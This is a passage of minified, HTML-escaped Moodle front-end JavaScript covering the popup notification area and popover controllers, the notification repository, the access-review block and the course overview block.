SELECTORS={CONTAINER:&#039;[data-region=&quot;notification-area&quot;]&#039;,CONTENT:&#039;[data-region=&quot;content&quot;]&#039;,HEADER:&#039;[data-region=&quot;header&quot;]&#039;,FOOTER:&#039;[data-region=&quot;footer&quot;]&#039;,TOGGLE_MODE:&#039;[data-action=&quot;toggle-mode&quot;]&#039;},TEMPLATES_HEADER=&quot;message_popup/notification_area_content_area_header&quot;,TEMPLATES_CONTENT=&quot;message_popup/notification_area_content_area_content&quot;,TEMPLATES_FOOTER=&quot;message_popup/notification_area_content_area_footer&quot;,ContentArea=function(root,userId){this.root=$(root),this.container=this.root.closest(SELECTORS.CONTAINER),this.userId=userId,this.header=this.root.find(SELECTORS.HEADER),this.content=this.root.find(SELECTORS.CONTENT),this.footer=this.root.find(SELECTORS.FOOTER),this.registerEventListeners()};return ContentArea.prototype.getRoot=function(){return this.root},ContentArea.prototype.getContainer=function(){return this.container},ContentArea.prototype.getUserId=function(){return this.userId},ContentArea.prototype.getHeader=function(){return this.header},ContentArea.prototype.getContent=function(){return this.content},ContentArea.prototype.getFooter=function(){return this.footer},ContentArea.prototype.show=function(){this.getContainer().addClass(&quot;show-content-area&quot;)},ContentArea.prototype.hide=function(){this.getContainer().removeClass(&quot;show-content-area&quot;)},ContentArea.prototype.setHeaderHTML=function(html){this.getHeader().empty().html(html)},ContentArea.prototype.setContentHTML=function(html){this.getContent().empty().html(html)},ContentArea.prototype.setFooterHTML=function(html){this.getFooter().empty().html(html)},ContentArea.prototype.showNotification=function(notification){var headerPromise=Templates.render(TEMPLATES_HEADER,notification).done(function(html){this.setHeaderHTML(html)}.bind(this)),contentPromise=Templates.render(TEMPLATES_CONTENT,notification).done(function(html){this.setContentHTML(html)}.bind(this)),footerPromise=Templates.render(TEMPLATES_FOOTER,notification).done(function(html){this.setFooterHTML(html)}.bind(this));return $.when(headerPromise,contentPromise,footerPromise).done(function(){this.show(),this.getContainer().trigger(NotificationAreaEvents.notificationShown,[notification])}.bind(this))},ContentArea.prototype.registerEventListeners=function(){CustomEvents.define(this.getRoot(),[CustomEvents.events.activate]),this.getRoot().on(CustomEvents.events.activate,SELECTORS.VIEW_TOGGLE,function(){this.hide()}.bind(this)),this.getContainer().on(NotificationAreaEvents.showNotification,function(e,notification){this.showNotification(notification)}.bind(this))},ContentArea}));
/**
 * Controls the notification area on the notification page.
 *
 * @module     message_popup/notification_area_control_area
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;message_popup/notification_area_control_area&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;message_popup/notification_repository&quot;,&quot;message_popup/notification_area_events&quot;],(function($,Templates,DebugNotification,CustomEvents,NotificationRepo,NotificationAreaEvents){var SELECTORS_CONTAINER=&#039;[data-region=&quot;notification-area&quot;]&#039;,SELECTORS_CONTENT=&#039;[data-region=&quot;content&quot;]&#039;,SELECTORS_NOTIFICATION=&#039;[data-region=&quot;notification-content-item-container&quot;]&#039;,SELECTORS_CAN_RECEIVE_FOCUS=&#039;input:not([type=&quot;hidden&quot;]), a[href], button, textarea, select, [tabindex]&#039;,TEMPLATES_NOTIFICATION=&quot;message_popup/notification_content_item&quot;,ControlArea=function(root,userId){this.root=$(root),this.container=this.root.closest(SELECTORS_CONTAINER),this.userId=userId,this.content=this.root.find(SELECTORS_CONTENT),this.offset=0,this.limit=20,this.initialLoad=!1,this.isLoading=!1,this.loadedAll=!1,this.notifications={},this.registerEventListeners()};return ControlArea.prototype.getRoot=function(){return this.root},ControlArea.prototype.getContainer=function(){return this.container},ControlArea.prototype.getUserId=function(){return this.userId},ControlArea.prototype.getContent=function(){return this.content},ControlArea.prototype.getOffset=function(){return this.offset},ControlArea.prototype.getLimit=function(){return this.limit},ControlArea.prototype.setOffset=function(value){this.offset=value},ControlArea.prototype.setLimit=function(value){this.limit=value},ControlArea.prototype.incrementOffset=function(){this.offset+=this.limit},ControlArea.prototype.startLoading=function(){this.isLoading=!0,this.getRoot().addClass(&quot;loading&quot;)},ControlArea.prototype.stopLoading=function(){this.isLoading=!1,this.getRoot().removeClass(&quot;loading&quot;)},ControlArea.prototype.hasDoneInitialLoad=function(){return this.initialLoad},ControlArea.prototype.hasLoadedAllContent=function(){return this.loadedAll},ControlArea.prototype.setLoadedAllContent=function(val){this.loadedAll=val},ControlArea.prototype.setCacheNotification=function(notification){this.notifications[notification.id]=notification},ControlArea.prototype.getCacheNotification=function(id){return this.notifications[id]},ControlArea.prototype.getNotificationElement=function(id){var element=this.getRoot().find(SELECTORS_NOTIFICATION+&#039;[data-id=&quot;&#039;+id+&#039;&quot;]&#039;);return 1==element.length?element:null},ControlArea.prototype.scrollNotificationIntoView=function(notificationElement){var position=notificationElement.position(),container=this.getRoot();if(position.top-container.scrollTop()&gt;container.innerHeight()){var height=notificationElement.outerHeight();height*=4;var scrollTo=position.top-height;container.scrollTop(scrollTo)}},ControlArea.prototype.showNotification=function(notificationElement){if(&quot;object&quot;!=typeof notificationElement&amp;&amp;(notificationElement=this.getNotificationElement(notificationElement)),notificationElement&amp;&amp;notificationElement.length){this.getRoot().find(SELECTORS_NOTIFICATION).removeClass(&quot;selected&quot;),notificationElement.addClass(&quot;selected&quot;).find(SELECTORS_CAN_RECEIVE_FOCUS).focus();var notificationId=notificationElement.attr(&quot;data-id&quot;),notification=this.getCacheNotification(notificationId);this.scrollNotificationIntoView(notificationElement),this.getContainer().trigger(NotificationAreaEvents.showNotification,[$.extend({},notification)])}},ControlArea.prototype.markNotificationAsRead=function(notificationElement){return NotificationRepo.markAsRead(notificationElement.attr(&quot;data-id&quot;)).done((function(){notificationElement.removeClass(&quot;unread&quot;)}))},ControlArea.prototype.renderNotifications=function(notifications){var promises=[],container=this.getContent();return $.each(notifications,function(index,notification){var contextUrl=notification.contexturl;delete notification.contexturl;var promise=Templates.render(TEMPLATES_NOTIFICATION,notification).then(function(html,js){return notification.contexturl=contextUrl,this.setCacheNotification(notification),{html:html,js:js}}.bind(this));promises.push(promise)}.bind(this)),$.when.apply($,promises).then((function(){$.each(arguments,(function(index,argument){container.append(argument.html),Templates.runTemplateJS(argument.js)}))}))},ControlArea.prototype.loadMoreNotifications=function(){if(this.isLoading||this.hasLoadedAllContent())return $.Deferred().resolve();this.startLoading();var request={limit:this.getLimit(),offset:this.getOffset(),useridto:this.getUserId()};return this.initialLoad||(request.limit=this.getOffset()+this.getLimit(),request.offset=0),NotificationRepo.query(request).then(function(result){var notifications=result.notifications;return this.unreadCount=result.unreadcount,this.setLoadedAllContent(!notifications.length||notifications.length&lt;this.getLimit()),this.initialLoad=!0,!!notifications.length&amp;&amp;(this.incrementOffset(),this.renderNotifications(notifications))}.bind(this)).always(function(){this.stopLoading()}.bind(this))},ControlArea.prototype.registerEventListeners=function(){CustomEvents.define(this.getRoot(),[CustomEvents.events.activate,CustomEvents.events.scrollBottom,CustomEvents.events.scrollLock,CustomEvents.events.up,CustomEvents.events.down]),this.getRoot().on(CustomEvents.events.scrollBottom,function(){this.loadMoreNotifications()}.bind(this)),this.getRoot().on(CustomEvents.events.activate,SELECTORS_NOTIFICATION,function(e){var notificationElement=$(e.target).closest(SELECTORS_NOTIFICATION);this.showNotification(notificationElement)}.bind(this)),this.getRoot().on(CustomEvents.events.up,SELECTORS_NOTIFICATION,function(e,data){var notificationElement=$(e.target).closest(SELECTORS_NOTIFICATION);this.showNotification(notificationElement.prev()),data.originalEvent.preventDefault()}.bind(this)),this.getRoot().on(CustomEvents.events.down,SELECTORS_NOTIFICATION,function(e,data){var notificationElement=$(e.target).closest(SELECTORS_NOTIFICATION);this.showNotification(notificationElement.next()),data.originalEvent.preventDefault()}.bind(this)),this.getContainer().on(NotificationAreaEvents.notificationShown,function(e,notification){if(!notification.read){var element=this.getNotificationElement(notification.id);element&amp;&amp;this.markNotificationAsRead(element);var cachedNotification=this.getCacheNotification(notification.id);cachedNotification&amp;&amp;(cachedNotification.read=!0)}}.bind(this))},ControlArea}));
/**
 * Retrieves notifications from the server.
 *
 * @module     message_popup/notification_repository
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;message_popup/notification_repository&quot;,[&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(Ajax,Notification){return{query:function(args){void 0===args.limit&amp;&amp;(args.limit=20),void 0===args.offset&amp;&amp;(args.offset=0);var request={methodname:&quot;message_popup_get_popup_notifications&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise},countUnread:function(args){var request={methodname:&quot;message_popup_get_unread_popup_notification_count&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise},markAllAsRead:function(args){var request={methodname:&quot;core_message_mark_all_notifications_as_read&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise},markAsRead:function(id,timeread){var args={notificationid:id};timeread&amp;&amp;(args.timeread=timeread);var request={methodname:&quot;core_message_mark_notification_read&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise}}}));
/**
 * Controls the notification popover in the nav bar.
 *
 * See template: message_popup/notification_popover
 *
 * @module     message_popup/notification_popover_controller
 * @class      notification_popover_controller
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;message_popup/notification_popover_controller&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;core/url&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/popover_region_controller&quot;,&quot;message_popup/notification_repository&quot;,&quot;message_popup/notification_area_events&quot;],(function($,Ajax,Templates,Str,URL,DebugNotification,CustomEvents,PopoverController,NotificationRepo,NotificationAreaEvents){var SELECTORS_MARK_ALL_READ_BUTTON=&#039;[data-action=&quot;mark-all-read&quot;]&#039;,SELECTORS_ALL_NOTIFICATIONS_CONTAINER=&#039;[data-region=&quot;all-notifications&quot;]&#039;,SELECTORS_NOTIFICATION=&#039;[data-region=&quot;notification-content-item-container&quot;]&#039;,SELECTORS_UNREAD_NOTIFICATION=&#039;[data-region=&quot;notification-content-item-container&quot;].unread&#039;,SELECTORS_NOTIFICATION_LINK=&#039;[data-action=&quot;content-item-link&quot;]&#039;,SELECTORS_COUNT_CONTAINER=&#039;[data-region=&quot;count-container&quot;]&#039;,NotificationPopoverController=function(element){PopoverController.call(this,element),this.markAllReadButton=this.root.find(SELECTORS_MARK_ALL_READ_BUTTON),this.unreadCount=0,this.lastQueried=0,this.userId=this.root.attr(&quot;data-userid&quot;),this.container=this.root.find(SELECTORS_ALL_NOTIFICATIONS_CONTAINER),this.limit=20,this.offset=0,this.loadedAll=!1,this.initialLoad=!1,this.unreadCount=this.root.find(SELECTORS_COUNT_CONTAINER).html()};return(NotificationPopoverController.prototype=Object.create(PopoverController.prototype)).constructor=NotificationPopoverController,NotificationPopoverController.prototype.updateButtonAriaLabel=function(){this.isMenuOpen()?Str.get_string(&quot;hidenotificationwindow&quot;,&quot;message&quot;).done(function(string){this.menuToggle.attr(&quot;aria-label&quot;,string)}.bind(this)):this.unreadCount?Str.get_string(&quot;shownotificationwindowwithcount&quot;,&quot;message&quot;,this.unreadCount).done(function(string){this.menuToggle.attr(&quot;aria-label&quot;,string)}.bind(this)):Str.get_string(&quot;shownotificationwindownonew&quot;,&quot;message&quot;).done(function(string){this.menuToggle.attr(&quot;aria-label&quot;,string)}.bind(this))},NotificationPopoverController.prototype.getContent=function(){return this.container},NotificationPopoverController.prototype.getOffset=function(){return this.offset},NotificationPopoverController.prototype.incrementOffset=function(){this.offset+=this.limit},NotificationPopoverController.prototype.hasDoneInitialLoad=function(){return this.initialLoad},NotificationPopoverController.prototype.hasLoadedAllContent=function(){return this.loadedAll},NotificationPopoverController.prototype.setLoadedAllContent=function(val){this.loadedAll=val},NotificationPopoverController.prototype.renderUnreadCount=function(){var element=this.root.find(SELECTORS_COUNT_CONTAINER);this.unreadCount?(element.text(this.unreadCount),element.removeClass(&quot;hidden&quot;)):element.addClass(&quot;hidden&quot;)},NotificationPopoverController.prototype.hideUnreadCount=function(){this.root.find(SELECTORS_COUNT_CONTAINER).addClass(&quot;hidden&quot;)},NotificationPopoverController.prototype.getNotificationElement=function(id){var element=this.root.find(SELECTORS_NOTIFICATION+&#039;[data-id=&quot;&#039;+id+&#039;&quot;]&#039;);return 1==element.length?element:null},NotificationPopoverController.prototype.renderNotifications=function(notifications,container){var promises=[];return $.each(notifications,function(index,notification){var offset=this.getOffset()-this.limit;notification.viewmoreurl=URL.relativeUrl(&quot;/message/output/popup/notifications.php&quot;,{notificationid:notification.id,offset:offset});var notificationurlparams={notificationid:notification.id};notification.contexturl=URL.relativeUrl(&quot;message/output/popup/mark_notification_read.php&quot;,notificationurlparams);var promise=Templates.render(&quot;message_popup/notification_content_item&quot;,notification).then((function(html,js){return{html:html,js:js}}));promises.push(promise)}.bind(this)),$.when.apply($,promises).then((function(){$.each(arguments,(function(index,argument){container.append(argument.html),Templates.runTemplateJS(argument.js)}))}))},NotificationPopoverController.prototype.loadMoreNotifications=function(){if(this.isLoading||this.hasLoadedAllContent())return $.Deferred().resolve();this.startLoading();var request={limit:this.limit,offset:this.getOffset(),useridto:this.userId},container=this.getContent();return NotificationRepo.query(request).then(function(result){var notifications=result.notifications;return this.unreadCount=result.unreadcount,this.lastQueried=Math.floor((new Date).getTime()/1e3),this.setLoadedAllContent(!notifications.length||notifications.length&lt;this.limit),this.initialLoad=!0,this.updateButtonAriaLabel(),!!notifications.length&amp;&amp;(this.incrementOffset(),this.renderNotifications(notifications,container))}.bind(this)).always(function(){this.stopLoading()}.bind(this))},NotificationPopoverController.prototype.markAllAsRead=function(){this.markAllReadButton.addClass(&quot;loading&quot;);var request={useridto:this.userId,timecreatedto:this.lastQueried};return NotificationRepo.markAllAsRead(request).then(function(){this.unreadCount=0,this.root.find(SELECTORS_UNREAD_NOTIFICATION).removeClass(&quot;unread&quot;)}.bind(this)).always(function(){this.markAllReadButton.removeClass(&quot;loading&quot;)}.bind(this))},NotificationPopoverController.prototype.registerEventListeners=function(){CustomEvents.define(this.root,[CustomEvents.events.activate]),this.root.on(CustomEvents.events.activate,SELECTORS_MARK_ALL_READ_BUTTON,function(e,data){this.markAllAsRead(),e.stopPropagation(),data.originalEvent.preventDefault()}.bind(this)),this.root.on(CustomEvents.events.activate,SELECTORS_NOTIFICATION_LINK,function(e){var element=$(e.target).closest(SELECTORS_NOTIFICATION);element.hasClass(&quot;unread&quot;)&amp;&amp;(this.unreadCount--,element.removeClass(&quot;unread&quot;)),e.stopPropagation()}.bind(this)),this.root.on(this.events().menuOpened,function(){this.hideUnreadCount(),this.updateButtonAriaLabel(),this.hasDoneInitialLoad()||this.loadMoreNotifications()}.bind(this)),this.root.on(this.events().menuClosed,function(){this.renderUnreadCount(),this.updateButtonAriaLabel()}.bind(this)),this.root.on(this.events().startLoading,function(){this.getContent().attr(&quot;aria-busy&quot;,&quot;true&quot;)}.bind(this)),this.root.on(this.events().stopLoading,function(){this.getContent().attr(&quot;aria-busy&quot;,&quot;false&quot;)}.bind(this)),this.getContentContainer().on(CustomEvents.events.scrollBottom,function(){this.isLoading||this.hasLoadedAllContent()||this.loadMoreNotifications()}.bind(this)),CustomEvents.define(this.getContentContainer(),[CustomEvents.events.scrollLock]),$(document).on(NotificationAreaEvents.notificationShown,function(e,notification){if(!notification.read){var element=this.getNotificationElement(notification.id);element&amp;&amp;element.removeClass(&quot;unread&quot;),this.unreadCount--,this.renderUnreadCount()}}.bind(this))},NotificationPopoverController}));
define(&quot;message_popup/notification_area_events&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={showNotification:&quot;notification-area-events:showNotification&quot;,notificationShown:&quot;notification-area-events:notificationShown&quot;},_exports.default}));
define(&quot;block_accessreview/module&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;],(function(_exports,_ajax,Templates,_notification){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,Templates=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}
/**
   * Manager for the accessreview block.
   *
   * @module block_accessreview/module
   * @author      Max Larkin &lt;max@brickfieldlabs.ie&gt;
   * @copyright   2020 Brickfield Education Labs &lt;max@brickfieldlabs.ie&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */(Templates);let toggleState=!0;const renderTemplate=(element,errorCount,checkCount,displayFormat,minViews,viewDelta)=&gt;{const weight=parseInt((errorCount-minViews)/viewDelta*2),context={resultPassed:!errorCount,classList:&quot;&quot;,passRate:{errorCount:errorCount,checkCount:checkCount,failureRate:Math.round(errorCount/checkCount*100)}};if(!element)return Promise.resolve();const elementClassList=[&quot;block_accessreview&quot;];context.resultPassed?elementClassList.push(&quot;block_accessreview_success&quot;):weight?elementClassList.push(&quot;block_accessreview_danger&quot;):elementClassList.push(&quot;block_accessreview_warning&quot;);const showIcons=&quot;showicons&quot;==displayFormat||&quot;showboth&quot;==displayFormat,showBackground=&quot;showbackground&quot;==displayFormat||&quot;showboth&quot;==displayFormat;return showBackground&amp;&amp;!showIcons?(element.classList.add(...elementClassList,&quot;alert&quot;),Promise.resolve()):(showIcons&amp;&amp;!showBackground&amp;&amp;(context.classList=elementClassList.join(&quot; &quot;)),Templates.renderForPromise(&quot;block_accessreview/status&quot;,context).then((_ref=&gt;{let{html:html,js:js}=_ref;Templates.appendNodeContents(element,html,js),showBackground&amp;&amp;element.classList.add(...elementClassList,&quot;alert&quot;)})).catch())},showAccessMap=function(courseId,displayFormat){let updatePreference=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]&amp;&amp;arguments[2];return Promise.all(fetchReviewData(courseId,updatePreference)).then((_ref2=&gt;{let[sectionData,moduleData]=_ref2;const{minViews:minViews,viewDelta:viewDelta}=getErrorTotals(sectionData,moduleData);return sectionData.forEach((section=&gt;{const element=document.querySelector(&quot;#section-&quot;.concat(section.section,&quot; .summary&quot;));element&amp;&amp;renderTemplate(element,section.numerrors,section.numchecks,displayFormat,minViews,viewDelta)})),moduleData.forEach((module=&gt;{const element=document.getElementById(&quot;module-&quot;.concat(module.cmid));element&amp;&amp;renderTemplate(element,module.numerrors,module.numchecks,displayFormat,minViews,viewDelta)})),document.querySelector(&quot;.icon-accessmap&quot;).classList.remove(&quot;fa-eye-slash&quot;),document.querySelector(&quot;.icon-accessmap&quot;).classList.add(&quot;fa-eye&quot;),{sectionData:sectionData,moduleData:moduleData}})).catch(_notification.exception)},toggleAccessMap=(courseId,displayFormat)=&gt;{toggleState=!toggleState,toggleState?showAccessMap(courseId,displayFormat,!0):function(){let updatePreference=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]&amp;&amp;arguments[0];document.querySelectorAll(&quot;.block_accessreview_view&quot;).forEach((node=&gt;node.remove()));const classList=[&quot;block_accessreview&quot;,&quot;block_accessreview_success&quot;,&quot;block_accessreview_warning&quot;,&quot;block_accessreview_danger&quot;,&quot;block_accessreview_view&quot;,&quot;alert&quot;];document.querySelectorAll(&quot;.block_accessreview&quot;).forEach((node=&gt;node.classList.remove(...classList))),updatePreference&amp;&amp;setToggleStatePreference(!1),document.querySelector(&quot;.icon-accessmap&quot;).classList.remove(&quot;fa-eye&quot;),document.querySelector(&quot;.icon-accessmap&quot;).classList.add(&quot;fa-eye-slash&quot;)}(!0)},getErrorTotals=(sectionData,moduleData)=&gt;{const totals={totalErrors:0,totalUsers:0,minViews:0,maxViews:0,viewDelta:0};return[].concat(sectionData,moduleData).forEach((item=&gt;{totals.totalErrors+=item.numerrors,item.numerrors&lt;totals.minViews&amp;&amp;(totals.minViews=item.numerrors),item.numerrors&gt;totals.maxViews&amp;&amp;(totals.maxViews=item.numerrors),totals.totalUsers+=item.numchecks})),totals.viewDelta=totals.maxViews-totals.minViews+1,totals},getTogglePreferenceParams=toggleState=&gt;({methodname:&quot;core_user_update_user_preferences&quot;,args:{preferences:[{type:&quot;block_accessreviewtogglestate&quot;,value:toggleState}]}}),setToggleStatePreference=toggleState=&gt;(0,_ajax.call)([getTogglePreferenceParams(toggleState)]),fetchReviewData=function(courseid){let updatePreference=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]&amp;&amp;arguments[1];const calls=[{methodname:&quot;block_accessreview_get_section_data&quot;,args:{courseid:courseid}},{methodname:&quot;block_accessreview_get_module_data&quot;,args:{courseid:courseid}}];return updatePreference&amp;&amp;calls.push(getTogglePreferenceParams(!0)),(0,_ajax.call)(calls)};_exports.init=(toggled,displayFormat,courseId)=&gt;{toggleState=1==toggled,toggleState&amp;&amp;showAccessMap(courseId,displayFormat),((courseId,displayFormat)=&gt;{document.addEventListener(&quot;click&quot;,(e=&gt;{e.target.closest(&quot;#toggle-accessmap&quot;)&amp;&amp;(e.preventDefault(),toggleAccessMap(courseId,displayFormat))}))})(courseId,displayFormat)}}));
define(&quot;block_myoverview/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(_exports,_ajax,Notification){var obj;
/**
   * A javascript module to retrieve enrolled coruses from the server.
   *
   * @module block_myoverview/repository
   * @copyright  2018 Bas Brands &lt;base@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.updateUserPreferences=_exports.setFavouriteCourses=_exports.getEnrolledCoursesByTimeline=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj},Notification=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(Notification);_exports.getEnrolledCoursesByTimeline=args=&gt;{const request={methodname:&quot;core_course_get_enrolled_courses_by_timeline_classification&quot;,args:args};return _ajax.default.call([request])[0]};_exports.setFavouriteCourses=args=&gt;{const request={methodname:&quot;core_course_set_favourite_courses&quot;,args:args};return _ajax.default.call([request])[0]};_exports.updateUserPreferences=args=&gt;{const request={methodname:&quot;core_user_update_user_preferences&quot;,args:args};_ajax.default.call([request])[0].fail(Notification.exception)}}));
define(&quot;block_myoverview/main&quot;,[&quot;exports&quot;,&quot;block_myoverview/view&quot;,&quot;block_myoverview/view_nav&quot;],(function(_exports,View,ViewNav){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * Javascript to initialise the myoverview block.
   *
   * @copyright  2018 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,View=_interopRequireWildcard(View),ViewNav=_interopRequireWildcard(ViewNav);_exports.init=root=&gt;{ViewNav.init(root),View.init(root)}}));
define(&quot;block_myoverview/view&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;block_myoverview/repository&quot;,&quot;core/paged_content_factory&quot;,&quot;core/pubsub&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core_course/events&quot;,&quot;block_myoverview/selectors&quot;,&quot;core/paged_content_events&quot;,&quot;core/aria&quot;,&quot;core/utils&quot;],(function(_exports,_jquery,Repository,PagedContentFactory,PubSub,CustomEvents,Notification,Templates,CourseEvents,_selectors,PagedContentEvents,Aria,_utils){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Manage the courses view for the overview block.
   *
   * @copyright  2018 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.reset=_exports.init=_exports.clearSearch=void 0,_jquery=_interopRequireDefault(_jquery),Repository=_interopRequireWildcard(Repository),PagedContentFactory=_interopRequireWildcard(PagedContentFactory),PubSub=_interopRequireWildcard(PubSub),CustomEvents=_interopRequireWildcard(CustomEvents),Notification=_interopRequireWildcard(Notification),Templates=_interopRequireWildcard(Templates),CourseEvents=_interopRequireWildcard(CourseEvents),_selectors=_interopRequireDefault(_selectors),PagedContentEvents=_interopRequireWildcard(PagedContentEvents),Aria=_interopRequireWildcard(Aria);const TEMPLATES_COURSES_CARDS=&quot;block_myoverview/view-cards&quot;,TEMPLATES_COURSES_LIST=&quot;block_myoverview/view-list&quot;,TEMPLATES_COURSES_SUMMARY=&quot;block_myoverview/view-summary&quot;,TEMPLATES_NOCOURSES=&quot;core_course/no-courses&quot;,GROUPINGS_GROUPING_ALLINCLUDINGHIDDEN=&quot;allincludinghidden&quot;,NUMCOURSES_PERPAGE=[12,24,48,96,0];let loadedPages=[],courseOffset=0,lastPage=0,lastLimit=0,namespace=null;const getFilterValues=root=&gt;{const 